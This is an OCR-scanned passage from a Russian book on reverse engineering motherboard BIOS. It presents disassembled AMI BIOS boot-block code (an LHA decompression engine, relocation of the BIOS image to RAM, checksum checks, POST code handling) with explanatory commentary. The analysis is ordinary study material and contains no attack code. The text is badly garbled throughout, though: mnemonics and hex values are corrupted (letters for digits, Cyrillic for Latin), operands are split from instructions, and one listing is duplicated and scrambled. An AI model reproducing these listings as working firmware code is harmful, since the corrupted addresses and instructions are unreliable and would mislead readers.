il_node_tbl
jmpfetch_nextcode
si
dx
*= 2
= nextcode
f i1l_intrnl_node_tbl:;
movdi,ax
adddi,di
adddi,wordptr[bp+table]
moves,wordptr[bp+table +
movex,dx
subex,ax
mov ax, [bp +ch]
rep stosw
jmp fetch_nextcode
2]
tbl_bi tcount_l t_l en:;
^паЯ 5. Реализация BIOS материнской платы_
233
1352:05151004si'Ьх
1з52:0517addsi,bx
'352"0519movах,[bp + si+start_0]
^352;о51с mov (bp +k], ax
1352-051Fmovcl,byte ptr(bp+jutbits]
1352:0522shrax,cl
1352:0524addax,ax
1352:0526addax,word ptr-[bp+table)
1352:0529movword ptr[bp+ tbl_idx],ax
l352:052Cmovax,wordptr[bp + table+2]
1352:052F mov word ptr [bp + tbl_idx +2], ax
1352:0532movdi,bx
1352:0534subdi,[bp+ tbl_bitcount]
1352:0534; di = i = len - tablebits
1352:0537jzshorti_equ_0
1352:0539mov[bp +i], di
1352:053Cmov[bp +p], bx
1352:053Fmovax, [bp + current_pos]
1352:0542 add ax, ax; ax *= 2
1352:0544movex, ax
1352:0546addax, offset child_l; ax += right[] table
1352:0549mov[bp + child_l_idx], ax
1352:054C add ex, offset child_0; ex += left[] table
1352:0550mov[bp + ehild_0_idx], ex
1352:0553movsi, word ptr [bp + tbl_idx]
1352:0556 mov di, [bp +k]
1352:0559 mov es, word ptr [bp + table + 2]
1352:0559; es = seg(tablet])
1352:055C
1352:055C nexti :; . . .
1352:055cempword ptr es:[si], 0
1352:0560jnzshort move„in_tree
1352:0562movbx, [bp +ehild_0_idx]
1352:0565xorax, ax
^152:0567 mov [bx], ax; left_child = 0
^52; 0569mov bx, [bp + child_l_idx]
352;056c mov [bx], ax; right_child = 0
^2:056emovax,[bp+ __current_pos]
^52:0571inc[bp+current_pos]
^2:0574moves:[si],ax
52:0577add[bp+child_l_idx],2
'352:0^7'7r,
! i; Переходим на узел выше.
234
Часть II. Обратная разработка BIOS материнской nnami,,
1352:057В 1352:057В 1352:057F 1352:057F 1352:057F 1352:0582 1352:0584 1352:0587 1352:0589 1352:058C 1352:058E 1352:058E 1352:058E 1352:0591 1352:0593 1352:0596 1352:0596 1352:0596 1352:0598 1352:059A 1352:059C 1352:059C 1352:059E 1352:O5A1 1352:05A3 1352:05A6 1352:05A9 1352:05AC 1352:05AC 1352:05AC 1352:05AF 1352:05B2 1352:05B2 1352:05B5 1352-.05B5 1352:05B5 1352:05B7 1352:05B9 1352:05BC 1352:05BC 1352:05BC 1352:05BF
add
move_in_ test jz mov add add jmp
[bp + child_0_idx], 2
.tree:
[bp + __mask], di
short go_left
ax, es:[si]
ax, ax
ax, offset child_l
short move_in_tree_done
; Переходим на узел выше.
; ах += right[] table
go_left:; ...
movax,es:[si]
addax,ax
addax,offset child_0; ax += left[] table
move_in_tree_done:; .. .
movex,ds
movsi,ax
moves,ex
asstime es: scratch_pad_seg adddi,di;n«=1
dec[bp+i]
jnz short nexti movword ptr [bp + tbl_idx + 2], es
movword ptr [bp + tbl_idx], ax *
movbx,[bp+p]
i_equ_0:; . - . movax,[bp+ch]
lessi,[bp+tbl_idx]
assume es:nothing moves:[si], ax
fetch_nextcode:; ...
movsi,bx
addsi,bx
mov [bp + si +start_0], dx
nextch:; ...
movax, [bp + leaf „count ]
inc[bp + ch]
1352:O5C2
1352:0^5
1352:05C7
cnp jnb jrrp
[bp +ch], ax short exit
init_intrnal_nodes
1352:O5CA
1352:05CA
1352:05CA
exit:
1352:05CA
pop
si
1352:05CB
pop
di
1352:05CC
leave
1352:OSCD
retn
1352:05CD make_table endp
1352:05CD
1352:05CE
1352: OSCE ; П О Д П P О Г P A M M A
1352:OSCE;При входе:al=количествобит,
1352: OSCE;которые нужносчитать
1352:OSCE;По выходу:ах=Количествопрочитанных
1352:05СЕ;битов
1352:05СЕ
1352:05СЕ get_bits proc near
1352:OSCE
mov
cl, lOh
1352:05D0
sub
cl, al
1352:05D2
mov
dx, bit_buf
1352:05D6
shr
dx, cl
1352:OSDS
mov
cl, al
1352:05DA
call
fill_bit_buf
1352:05DD
mov
ax, dx
1352:05DF
retn
1352:QSDF get_bits endp
1352:05DF
1352:O5EO ; П О Д П P О Г P A M M A
^3^2:05E0; При входе: cl = количество бит,
; которые нужно считать
^352:О5ЕО
^52:05Е0 fill_bit_buf proc near; .
^$2:05Е0shlbit_buf,cl
^S2:05E4movch, byteptrbit_position
^32;05E8cmpch, cl
^2:Q5eajgeshortbitpos_gt_req_bitcount
^2:05ECmovebx, src_byte_ptr
'^2:05Р1push0
^2:05F3popes
1352:05F4
assume es:_12000
1352:05F4
mov
ax, _byte_buf
1352:05F7
sub
cl, ch
; cl = количество бит,
1352:05F7
1352:05F9
cmp
cl, 8
; которые нужно прочитать
1352:05FC
jle
short bit2read_lte_8
1352:05FE
shl
ax, cl
1352:0600
or
bit_buf, ax
1352:0604
movzx
ax, byte ptr es:[ebx]
; Считываем 1 байт из
1352:0604
1352:0609
inc
ebx
; упакованного источника.
; Указываем не следующий байт источника.
1352:060В
sub
cl, 8
1352:060E
1352:060E
bit2read_lte_8:
; . . -
1352:060E
shl
ax, cl
1352:0610
or
bit_buf, ax
1352:0614
movzx
ax, byte ptr es:[ebx]
; Считываем 1 байт из
1352:0614
1352:0619
inc
ebx
; упакованного источника.
1352:061В
mov
src_byte_ptr, ebx
; Указываем не следующий
1352:061В
1352:0620
mov
_byte_buf, ax
; байт источника.
1352:0623
mov
ch, 8
; Устанавливаем позицию
1352:0623
1352:0625
1352:0625
bitpos_<
?t_req_bitcount:
; бита в 8.
1352:0625
sub
ch, cl
; ch = количество бит,
1352:0625
1352:0627
mov
byte ptr bit_position,
; которые нужно прочитать ch
1352:062В
xchg
ch, cl
1352:062D
mov
ax, _byte_buf
1352:0630
shr
ax, cl
1352:0632
or
bit_buf, ax
1352:0636
retn
1352:0636 fill_bit_buf endp
При первом вызове этого движка распаковщика ему в качестве аргументов передаются значения 8F98Ch и 12ооооь (адреса источника и назначения ДлЯ распаковки). Создание подключаемого модуля IDA Pro, чтобы эмулировать процесс распаковки — процесс простой, но отнимающий много времени- Если вы решите разработать такой модуль самостоятельно, использование оригинального исходного кода архиватора AR, который можно бесплатН0
качать в Интернете, окажет большую помощь в этом предприятии. Обратите ° имание, что имена функций в исходном коде архиватора AR сходны с име- вН и процедур в дизассемблированном коде, приведенном в листинге 5.38. ^а информация должна упростить задачу разработки подключаемого модуля движка распаковщика.
Но давайте возвратимся к нашему коду: после того, как сжатый компонент распакован в память по адресу 120000b, исполнение продолжается по адресу c0py„decoinp_result.
Перемещение двоичного кода BIOS в RAM
функция copy_decomp_resuit перемещает распакованную часть кода начальной загрузки, как показано в листинге 5.39.
Листин 5.39. Функция copy_decomp„result
8000:А091 deconp_block_entry proc near
: ds = 0.
8000:А091
8000:А094
8000:А097
8000:А09А
8000:А09А
call init_deconp_ngine
; По возврату:
call copy_deconp_result
call call_F000_0000
retn
decomp_block_entry endp
8000:А273
8000:А273 8000:А275
8000:А278
8000:А27Е
8000:A27F
8°00:А28О
8°00:А282
8°00:А282
copy_deconp_result proc near pushad
call _init_regs
mov esi, cs:deconp_dest_e push es
push ds mov bp, sp
movzx ecx, word ptr [esi +
iddr
2]
; ecx = длина
заголовка
8°00:А288
mov edx, ecx
; edx = длина
заголовка
8о°О:А28В 8o°O:A28D 8°°0:A28F 8°°0:А290 8°°0:А291 8°°0:А295 8с'00:Д297 80°°:А298 2°С°:А298
subsp, ex
movbx, sp
push ss
pop es
movzx edi, sp
push esi
cld
rep movs byte ptr es: [edi],
; Provide big stack section
byte ptr [esi]
; Заполняем стек
238
Часть II. Обратная разработка BIOS материнской плат.
8000:А298
; распакованной частью кода
8000:А298
; начальной загрузки.
8000:А29В
POP
esi
8000:A29D
push
ds
8000.-А29Е
pop
es
; es = ds ( OOOOh ? )
8000:A29F
movzx
ecx, word ptr
SS:[bx+0]
8000:A29F
; ecx = количество компонентов,
8000:A29F
; которые нужно скопировать.
8000:A2A4
add
esi, edx
; Регистр esi указывает вправо
8000:A2A4
; от заголовка.
8000:A2A7
8000:A2A7
next_dword:
; . . .
8000:A2A7
add
bx, 4
8000:A2AA
push
ecx
8000:A2AC
mov
edi, ss:[bx +
0]; edi = Адрес назначения
8000:A2B0
add
bx, 4
8000:A2B3
mov
ecx, ss:[bx +
0]
8000:A2B7
mov
edx, ecx
; edx = Счетчик байтов
8000:A2BA
shr
ecx, 2
; есх / 4
8000:A2BE
jz
short copy_remaining_bytes
8000:A2C0
rep movs dword ptr es:[edi], dword ptr [esi]
8000:A2C4
8000:A2C4
copy_remaining_bytes:
; . . .
8000:A2C4
mov
ecx, edx
8000:A2C7
and
ecx, 3
8000:A2CB
jz
short no_more_bytes2copy
8000:A2CD
rep movs byte ptr es
;:[edi], byte ptr [esi]
8000:A2D0
8000:A2D0
no_more_bytes2copy:
; . . .
8000:A2D0
pop
ecx
8000:A2D2
loop
next_dword
8000:A2D4
mov
edi, 120000h
; Адрес назначения
8000:A2D4
; распаковки.
8000:A2DA
call
far ptr esi_equ_FFFC_0000h
8000:A2DA
; Адрес источника распаковки.
8000:A2DF
push
OFOOOh
8000:A2E2
pop
ds
8000:A2E3
assume ds:_F0000
8000:A2E3
mov
word_F000_Bl,
сх
8000:A2E7
mov
sp, bp
8000:А2Е9 6000:А2ЕА 6000:А2ЕА 8000:А2ЕВ g000:A2ED g000:A2ED
pop ds
assume ds:nothing
pop es
popad
retn
copy_decomp_result endp
; sp = -4
функция copy_decomp_resuit копирует распакованное содержимое с адреса 12ооооь в сегмент гоооь. Исходный и целевой адреса для этой операции предоставляются в заголовке распакованного кода по адресу 12оооои. Формат этого заголовка напоминает формат заголовка, применявшегося в движке распаковки, рассмотренном ранее в этой главе. Исходный код заголовка показан в листинге 5.40.
"истинг 5.40. Заголовок распакованного кода
0000:120000
dw
1
; Количество компонентов
0000:120002
dw
OCh
; Длина заголовка данного
0000:120002
; компонента
0000:120004
dd
OFOOOOh
; Адрес назначения
0000:120008
dd
485h
; Счетчик байтов
Дальнейшее исполнение продолжается вызовом процедуры, расположенной в перезаписанной части сегмента роооь, как показано в листинге 5.41.
Листинг 5.41. Вызов процедуры в перезаписанном сегменте FOOOh
8000:А094call copy_decomp_result
8000:А097call call_F000_0000
8о°О:А2ЕЕ call_F000_0000 proc near
8°00:A2EE call prepare_sys_BIOS
8OOO:A2EE
8°00:A2F3
8°00:A2f3 halt:
8°00:A2f3 cli
8°00:A2F4 hit
8°°0:a2f5 jnp short halt
8°C°:A2F5 call_F000_0000 endp
°°®: 0000 prepare_sys_BIOS proc far
; Таблица переходов в ; системной BIOS?
F000:0000callRelocate_BIOS_Binary
FOOD:0005callCalc_Module_Sum
F000:000Acallfar ptr Bootblock_POST_D7h
FOOOzOOOFretf
F000:000F prepare_sys_BIOS endp
Функция prepare_sys_Bios в листинге 5.41 выполняет несколько задач. Сначала она копирует двоичный код BIOS из верхней области BIOS (находящей, ся возле границы 4 Гбайт) в сегмент I6_ooooh-19_FFFFH в RAM при помощи функции Relocate_BIOS_Binary. Функция Relocate_BIOS_Binary также копирует чисто двоичный код BIOS (информационные байты, а не байты- заполнители) в сегмент i2_ooooh-i5_FFFFh. Соответствующий фрагмент кода показан в листинге 5.42.
Листинг 5.42. Перемещение двоичного кода BIOS в RAM
F000:00EA Relocate_BIOS_Binary proc far
F000:00EA
push
es
F000:00EB
push
ds
F000:00EC
pushad
F000:00EE
mov
edi, 120000h
F000:00F4
call
_get_sysbios_param;
По возвращению: ex = 4
F000:00F4
esi = FFFC_0000h
F000:00F4
Флаг переноса = 0
F000:00F9
jrib
short no_carry;
Выполняем переход
F000:00FB
mov
esi, OFEOOOh
F000:0101
mov
ex, 2
F000:0104
F000:0104
no_carry:;
...
F000:0104
movzx
eax, ex;
eax = 4
F000:0108
shl
eax, OEh;
eax = l_0000h
F000:010C
mov
cs;BIOS_size_in_dword?, eax
FOOO:0111
mov
ecx, eax;
ecx = l_0000h
F000:0114
shl
eax, 2;
eax = 4_0000h
F000:0118
mov
cs:BIOS_size_in_byte?, eax
F000:011D
xor
eax, eax;
eax = 0
F000:0120
mov
ds, ax;
ds = 0
FOOD:0122
assume ds:sys_bios
FOOD:0122
mov
es, ax;
es = 0
FOOD:0124
push
ecx;
На данный момент
rrt«Ra 5- Реализация BIOS материнской платы
241
F000:0124
F000:0126
dec
eax;
ecx = l_0000h
eax = -1 = 0xFFFF_FFFF
F000:0128
rep e
stos dword ptr es:[edi];
Инициализировать диапазон
f000:0128 fOOO:012C
push
ds
120000h - 15FFFFh значениями FFh
f000:012D
push
51h
F000:0130
pop
ds
pQQO:0131
assume ds:_51h
F00O:O131
mov
BIOS_bin_start_addr, edi
pOOO:0136
pop
ds
FOOD:0137
assume ds:nothing
F000:0137
pop
ecx
F000:0139
push
edi
F000:013B
rep movs dword ptr es:[edi], dword ptr [esi]
F000:013B
Копируем 256 Кбайт из диапазона
F000:013B
;
FFFC_0000h-FFFF_FFFFh в диапазон
F000:013B
16_0000h - 19_FFFFh
F000:013F
pop
esi;
esi = edi = 16_0000h
F000:0141
mov
ex, cs:BIOS_seg_count? ;
ex = 4
FOOD:0146
call
get_sysbios_start_addr ;
Первый проход: edi = 19_8000h
FOOD:0149
jz
short chk_sysbios_hdr ;
Переход в первом проходе
F000:014B
push
ds
F000:014C
push
8000h
F000:014F
pop
ds
F000:0150
assume ds:decomp_block
F000:0150
or
byte_8000_FFCE, 4Oh
FOOD:0155
pop
ds
p000:0156
assume ds:nothing
FOOD:0156 F000:0159 p°00:0159
jnp
exit
chk_sysbios_hdr:;
FOOO:0159
mov
esi, edi• ;
Первый проход: edi = 19 8000h
^00:015c
sub
edi, cs:BIOS_size_in_byte'
^00:0162
mov
ebx, 20h ; ’ ’
^00:0168
sub
edi, ebx
^0:0166
sub
esi, ebx
Р°°О:О16Е
P°°0:017i
P°°0:0171
P°°0:017i
mov
ecx, ebx
rep movs byte ptr es:[edi], byte ptr [esi] ;
; Копируем последние 20 байтов ;(заголовка)системной BIOS
F000:0171
; из (19_7FE0h -
19_8000h) :
F000:0171
; (15_7FE0h -15.
_8000h)
F000:0174
xor
ebx, ebx; ebx = 0
F000:0177
FOOD:0177
next_conpressed_conponent?:; ...
FOOD:0177
mov
esi, edx
F000:017A
mov
ax, [esi + 2]
F000:017E
shl
eax, lOh
F000:0182
mov
ax, [esi]
F000:0185
sub
esi, 8
F000:0189
mov
edi, esi
F000:018C
sub
edi, cs:BIOS_size_in_byte?
F000:0192
mov
ecx, [esi]
F000:0196
test
byte ptr [esi + OFh], 20h
F000:019B
jz
short bit_not_set
F000:019D
add
ebx, ecx
F000:01A0
F000:01A2
jnp
short test_lower_bit
F000:01A2
F000:01A2
bit_not.
_set:; ...
F000:01A2
sub
ecx, ebx
F000:01A5
xor
ebx, ebx
F000:01A8
F000:01A8
test_lower_bit:; ...
F000:01A8
test
byte ptr [esi + OFh], 4Oh
F000:01AD
jz
short copy_bytes
F000:01AF
xor
ecx, ecx
F000:01B2
F000:01B2
eopy_bytes:; ...
F000:01B2
add
ecx, 14h
F000:01B6
cmp
ecx, cs:BIOS_size_in_byte?
F000:01BC
ja
short padding_bytes_reached?
F000:01BC
; Достигли заполнителя?
F000:01BE
rep movs byte ptr es:[edi], byte ptr [esi]
F000:01BE
; Копируем байты
F000:01BE
; упакованного компонента.
F000:01Cl
cup
eax, OFFFFFFFFh
F000:01C5
jz
short padding_bytes_reached?
F000:01C5
; Достигли заполнителя?
F000:01C7
push
ds
F000:01C8
push
51h; 'Q'
F000:01CB
pop
ds
„» 5 Реализация BIOS материнской платы
nine assume ds: 51h
F000:°1L-
„ nice mov esi, BIOS_bin_start_addr
ff000:0Wl POP ds
‘q0O.O1D2 assume ds:nothing
Q00-01D2 mov ex, cs:BIOS_seg_count?
^qq.q1D7 call get_component_start_addr
0Q. OIDA jmp short next_compressed_component?
pOOt? OIDA; Следующей сжатый компонент?
F0OO:u1DC ,
p000:01DC
F000:01DC padding_bytes_reached?:; ...
p000:01DC mov esi, 120000h
F000:01E2 push esi
p000:01E4 mov ecx, cs:BIOS_size_in_dword?
F000:01EA xor ebx, ebx"
F000:01ED
F000:01ED next_dword:; . ..
F000:01EDlodsdword ptr [esi]
FOOO:01FOaddebx, eax
F000:01F3loopdnext_dword
F000:01F6popedi
F000:01F8mov[edi - 4],ebx
F000:01FD
F000:01FD
exit:
; . . .
F000:01FD
push
8000h
FOOD:0200
pop
es
FOOD:0201
assume
2 es:decomp_block
FOOD:0201
mov
al, es:byte_8000_FFCE
F000:0205
push
51h ; 'Q'
F000:0208
Pop
ds
f°00:0209
assume
2 ds:_51h
F000?0209
mov
byte ptr unk_51_4, al
p000:020C
mov
eax, es:decompression_block_size
F°00:0211
mov
dword ptr _decompression_block_size, eax
F°00:0215
mov
eax, es:padding_byte_size
р000:021д
mov
dword ptr _padding_byte_size, eax
?°00:021E
popad
p°00:0220
pop
ds
?°00:0221
assume es:nothing, ds:nothing
P°°0:0221
pop
es
p°00;0222
retf
•^оо^ггг
Relocate_BIOS_Binary endp
Далее функция prepare_sys_Bios проверяет контрольную сумму двоичноГо кода BIOS, перемещенного в сегмент i2_ooooh-is_FFFFh, вызывая для этого функцию Caic_Module_Sum. В действительности, эта функция вычисляет 8-битную контрольную сумму всего образа BIOS, как показано в листинге 5.43 Обратите внимание, что функция Relocate_Bios_Binary заполняет упомянув тый выше диапазон адресов значениями FFh, и только после этого в данный диапазон копируется двоичный код BIOS.
Листинг 5.43. Вычисление контрольной суммы двоичного кода BIOS
F000:02СА
Calc_Module_Sum proc far
F000:02CA
push
ds
F000:02CB
pushad
F000:02CD
push
0
F000:02CF
pop
ds
FOOD:02D0
assume ds:sys_bios
F000:02D0
mov
esi, 120000h
F000:02D6
mov
ex, cs:BlOS_seg_count?
F000:02DB
call
get_sysbios_start_addr
F000:02DE
jnz
short AMIBlOSC_not_found
F000:02E0
mov
ex, [edi - OAh]
F000:02E4
xor
eax, eax
F000:02E7
F000:02E7
next_lower_dword:
FOOD:02E7
add
eax, [edi - 4]
F000:02EC
sub
edi, 8
F000:02F0
add
eax, [edi]
F000:02F4
loop
next_lower_dword
F000:02F6
jz
short exit
F000:02F8
F000:02F8
AMIBIOSC_not_found:
F000:02F8
mov
ax, 8000h
F000:02FB
mov
ds, ax
F000:02FD
assume ds:decornp_block
F000:02FD
or
byte_8000_FFCE, 40h
F000:0302
F000:0302
exit:
F000:0302
popad
F000:0304
pop
ds
FOOD:0305
assume ds:nothing
FOOD:0305
retf
FOOD:0305
CalcJModule_Sum епф
После проверки контрольной суммы, функция проверяет действительность ^атой системной BIOS в сегменте 12_ооооь и затем распаковывает ее в сег- jeHT lA_0000h В RAM, ВЫЗЫВаЯ ДЛЯ ЭТОГО фуНКЦИЮ Bootblock_P0ST_D7h. ДизаССемблированный код этой функции показан в листинге 5.44.
[Нг 5.44. Распаковка системной BIOS в RAM
„00:0010 Bootblock_POST_D7h proc near; ...
pOOO:0010
mov
al, 0D7h
; Выводится код POST D7h:
pOOO:0012 pOOO:0012 pOOO:0012 pOOO:0012 pOOO:0012 F000:0012 POOO:0012
out
80h, al
; Значение CPUID восстанавливается
; в регистр. Модуль интерфейса
; распаковки кода начальной загрузки
; перемещается в системную память и
; управление передается ему.
; Определяем, нужно ли
; выполнить serial flash.
F000:0014
mov
esi, 120000h
FOOOiOOIA
mov
ex, cs:BIOS seq count?
F000:001F
mov
bl, 8
F000:0021
call
Chk_SysBIOS_CRC
FOOD:0024
jz
short chk_sum_ok
FOOD:0026
F000:0O2B
jmp
far ptr halt_@_PostCode_D7h
Р000:002в chk_sum_ok:
FOOD:002В
mov
esi, ebx
F0OO:OO2E
xor
edi, edi
F000:0031
xor
ax, ax
F000:0033
mov
ds, ax
F000:0035
assume ds:sys_bios
F000:0035
mov
es, ax
F000:0037
assume es:sys_bios
f°00:0037
mov
edi, esi
F°00:0q3A
old
?°00:003B
lods
word ptr [esi]
F°00:003D
lods
word ptr [esi]
f°00:003f
movzx
eax, ax
P°°0:0043
add
edi, eax
P°00:Q046
push
edi
P°°0:0048
lods
dword ptr [esi]
r°°0:004B
mov
edi, eax
'°°0:004E
lods
dword ptr [esi]
‘°°0:0051
mov
ecx, eax
246
Часть II. Обратная разработка BIOS материнской пла^
FOOD:0054
pop
esi
FOOO:0056
push
edi
FOOO:0058
shr
ecx, 2
F000:005C
inc
ecx
F00O:005E
rep movs dword ptr es:[edi], dword ptr [esi]
FOOO:0062
pop
edi
FOOO:0064
shr
edi, 4; edi = Адрес сегмента
FOOO:0068
mov
cs:interface_seg, di
F000:006D
mov
Ы, IBh
F000:006F
call
Chk_sysbios_CRC_indi rect
F000:0072
jz
short dont_halt_2
F000:0074
F000:0079
jnp
far ptr halt_@_PostCode_D7h
F000:0079
dont_halt_2:; ...
F000:0079
mov
esi, ebx; esi = Начальный адрес сжатого
F000:0079
; модуля BIOS
F000:007C
mov
edi, 120000h
F000:0082
push
ds
F000:0083
push
OFOOOh
F000:0086
pop
ds
F000:0087
assume ds:_F0000
F000:0087
movzx
ecx, BIOS_seg_count?
F000:008D
pop
ds
F000:008E
assume ds:nothing
F000:008E
shl
ecx, llh
F000:0092
add
edi, ecx; edi = Модули BIOS
F000:0092
; Начальный адрес назначения распаковки
F000:0092
; edi = 120000h + (4 « llh) = lAOOOOh
F000:0095
push
ax
F000:0096
call
Read_CMOS_B5_B6h
F000:0099
pop
ax
F000:009A
mov
bx, cs
F000:009C
call
dword ptr cs:interface_module ; goto 1352:0000h
F000:00Al
F000:00A6
jnp
far ptr halt_@_PostCode_D7h
F000:00A6
F000:00A6
F000:00A7
retf
interface_module:; .. .
F000:00A7
dw 0
F000:00A9
interface_seg dw 1352h; Модуль подготовки POST. Содержит
F000:00A9
; движок распаковщика LHA
F000:00AB
f0CO:OOAB
fC00:OOAB
halt_@_
_PostCode_D7h:
f0CO:OOAB
mov
al, 0D7h
F000:°OAD
out
80h, al
?00O:OOAF
f000:OOAF
halt:
fqOO:OOAF
jnp
short halt
FQ00:00AF
Bootblock_POST_D7h endp
; Выводится код POST D7h
При нормальном завершении, функция Bootbiock_posT_D7h не возвращает управление, а продолжает исполнение в сегменте интерфейса (сегмент 1352b). Код в сегменте интерфейса распаковывает системную BIOS и другие сжатые компоненты, а затем передает управление в распакованную системную BIOS для выполнения процедуры POST. Сегмент интерфейса также содержит движок распаковщика. Этот "новый" движок распаковщика идентичен перезаписанному во время исполнения функции Bootbiock_POST_D7h. Но новый движок распаковщика размещен по высшему смещению в том же сегменте, что и старый, чтобы предоставить место для функций приготовления процедуры POST. Из листинга 5.44 также видно, что справочник по кодам AMI BIOS, упомянутый в предыдущем разделе, может оказать существенную помощь при анализе кода начальной загрузки, так как с его помощью можно определить назначение кода BIOS по кодам POST, выдаваемым в порт 80h при исполнении процедуры POST. В следующих подразделах информация из этого справочника будет использоваться для выяснения назначения фрагментов кода в дизассемблированном двоичном коде BIOS.
Подготовка процедуры POST
Модуль интерфейса помещается в сегмент I352h. Код для подготовки процедуры POST показан в листинге 5.45.
Листинг 5.45. Подготовка процедуры POST
*3^2;ООЦdeccnpress_sys_bios:^3^2:OO11push edx'352:0013push ax;352:0014mov al, 0D8h ; ' +;352:0016'352=0016out 80h, al*3^2;ООЦdeccnpress_sys_bios:^3^2:OO11push edx'352:0013push ax;352:0014mov al, 0D8h ; ' +;352:0016'352=0016out 80h, al1352:ОООС prepare_for_POST:;^•0000 jnp short decampress_sys_bios1352:ОООС prepare_for_POST:;^•0000 jnp short decampress_sys_bios; POST D8h:; Распаковываем исполняемый; POST D8h:; Распаковываем исполняемый
*3^2;ООЦ
deccnpress_sys_bios:
^3^2:OO11
push edx
'352:0013
push ax
;352:0014
mov al, 0D8h ; ' +
;352:0016
'352=0016
out 80h, al
*3^2;ООЦ
deccnpress_sys_bios:
^3^2:OO11
push edx
'352:0013
push ax
;352:0014
mov al, 0D8h ; ' +
;352:0016
'352=0016
out 80h, al
1352:ОООС prepare_for_POST:;
^•0000 jnp short decampress_sys_bios
1352:ОООС prepare_for_POST:;
^•0000 jnp short decampress_sys_bios
; POST D8h:
; Распаковываем исполняемый
; POST D8h:
; Распаковываем исполняемый
248
Часть II. Обратная разработка BIOS материнской п^
1352:0016
; модуль в память.
1352:0016
; Сохраняем информацию
1352:0016
; о CPUID в память.
1352:0018 pop
ах
1352:0019 call
deccae>ress_conponent; Распаковываем системную BIOS.
1352:0019
; Первый проход
1352:0019
; при (@in)входе:
1352:0019
; edi(dest) = lA_0000h
1352:0019
1352:0019
; esi(src) = 12_F690h
1352:0019
; Первый проход
1352:0019
; по выходу: esi = lA_0000h
1352:0019
;ZF = 1
1352:001C pop
edx
1352:001E jnz
short exit_error
1352:0020 push
edx
1352:0022 mov
al, 0D9h ; '-'
1352:0024 out
80h, al; POST D9h:
1352:0024
; Сохраняем распакованный
1352:0024
; указатель для последующего
1352:0024
; применения в режиме
1352:0024
; управления питанием.
1352:0024
; Сохраняем основную BIOS в
1352:0024
; RAM. Оставляем всю RAM ниже
1352:0024
; 1 Мбайта в состоянии чтения и
1352:0024
; записи, включая теневые
1352:0024
; области Е000 и FOOD но
1352:0024
; закрываем SMRAM.
1352:0026 mov
cs:ea_sys_bios_start, esi
1352:0026
; Первый проход: 1А_0000Ь
1352:002C call
FFh_init Aseg Bseg Eseg
1352:002F call
relocate_bios_modules
1352:0032 call
init_PCI_config regs; Подготавливаются некоторые
1352:0032
; конфигурационные регистры PCI.
1352:0037 mov
al, ODAh;
1352:0039 out
80h, al; POST DAh:
1352:0039
; Значение CPUID восстанавливается
1352:0039
; обратно в регистр. Управление
1352:0039
; передается BIOS POST
1352:0039
; (ExecutePOSTKernel).
1352:0039
; См. Раздел "POST Code Checkpoints"
1352:0039
; справочника за дополнительной
Зва 5- Реализация BIOS материнской платы
.,52.0039
; информацией.
„52.003В
pop edx
„52.003d
mov ax, OFOOOh
,352 = 0040
mov ds, ax
1352:ОО42
assume ds:_F0000
1352:0042
mov gs, ax
1352:0044
assume gs:_F0000
1352:00 4 4
mov sp, 4000h
1352:0047
1352:ОО4С
jmp far ptr Execute_POST
; Исполняется POST
i352:OO4C
exit_error:
,• ■ •
1352:ОО4С
retf
1352:0084
; При входе:
1352:0084
; esi = начальный адрес источника
1352:0084
; edi = начальный адрес назначения
1352:0084
; al = флаг распаковки
1352:0084
; По выходу:
1352:0084
; esi = начальный адрес назначения
1352:0084
; ZF = установлен при успехе
1352:0084
;= сброшен при неудаче
1352:0084
1352:0084
; ds = 0
1352:0084
decompress_conponent proc near
; . . .
1352:0084
test al, 8Oh
1352:0086
jzshort decompress
1352:0088
push 0
1352:oosa
pop ds
^52:008В
assume ds:sys_bios
13S2:008В
jmp short exit
1352:008D
13^2:008D
decompress:
; . . .
13Ь2:008в
push edi
; Сохраняется адрес назначения
^52:0080
; распаковки.
1352;008F
push " edi
; Адрес назначения
^2:0091
push esi
; Адрес источника
^2:0093
call expand
1352:0096
add sp, 8
1352:0099
33$2:ОО99 ^3^2:Q09b
pop esi
; Возвращается адрес назначения ; распаковки.
push 0
13^2:009d
pop ds
250
Часть II. Обратная разработка BIOS материнской плаг^.
1352:009Е
1352:009Е
1352:009Е
1352:00А0
exit:
crop al, al re tn
. . .
1352:00А0
1352:00А1
deccae>ress_conponent endp
1352:00А1
Перемещаются соответствующие
1352:00А1
распакованные компоненты BIOS
1352:00А1 1352:00А1 1352:00АЗ 1352:00А4 1352:00А5 1352:00А7
1352:00А9
1352:ООАО
relocate_bios_modules pushad push es push ds mov bp, sp mov ax, ds movzx eax, ax shl eax, 4
proc near ;
1352:GOBI
1352:00В4
add esi, eax push 0
esi = lA_0000h ; так как ds = 0
1352:00Вб
pop ds
ds = 0
1352:00В7
movzx ecx, word ptr
[esi + 2]
1352:00В7
1352:ООВО
mov edx, ecx
ecx = 2B4h
1352:00С0
sub sp, ex
Резервируется место в стеке для
1352:00С0
1352:00С2
1352:00С4
mov bx, sp push ss
•
заголовка
1352:00С5
1352:00Сб
1352:00СА
1352:00СС
pop es movzx edi, sp push esi old
es = ss
1352:00CD
rep movs byte ptr es
;: [edi] , byte ptr [esi]
1352:00CD
1352:0000
1352:0002
pop esi push ds
Заголовок перемещается в стек.
1352:0003
1352:0004
pop es
assume es:sys_bios
es = 0
1352:0004
movzx ecx, word ptr
ss:[bx + 0]
1352:0004
ecx = lEh
1352:0009
1352:00DC
add esi, edx
esi = lA_02B4h
1352:00DC
1352:00DC
next_module: add bx, 4
.„« 5. Реализация BIOS материнской t
платы251
[Л^-—
1352:OODF i352:OOE1
'з52:ООЕ5
1352:ООЕс
1352:OOEE i352:OOF4
push ecx
mov edi, ss:[bx + 0]
; edi = ea_dest_seg —> F_0000h
enp edi, OEOOOOh
jb short dest_below_Eseg
; Первый проход: не выполняется
enp edi, cs:ea_dest_seg jbshort dest_below_Eseg
; Первый проход: не выполняется
1352:OOF6
mov cs:ea_dest_seg, edi
; ea_dest_seg = F_0000h
1352:OOFC
1352:OOFC
dest_below_Eseg:
; . . .
,352:OOFC
1352: OOFF
add bx, 4
mov ecx, ss:[bx + 0]
; ecx = 8001_0000h
1352:0103
1352:O1OA
test ecx, 80000000h
jzshort no_relocation
; Первый проход: не выполняется
1352:010C
and ecx, 7FFFFFFFh
; Первый проход: ecx = l_0000h
1352:0113
mov edx, ecx
; Первый проход: edx = l_0000h
1352:0116
shr ecx, 2
; ecx / 4
1352:011A
jzshort size_is_zero
; Первый проход: не выполняется
1352:011C
rep movs dword ptr es:[edi],
, dword ptr [esi]
1352:O11C 1352:O11C
1352:011C 1352:0120 1352:0120
size_is_zero:
; Первый проход:
; копируется 64 КБ из(1А_02В4Ь-
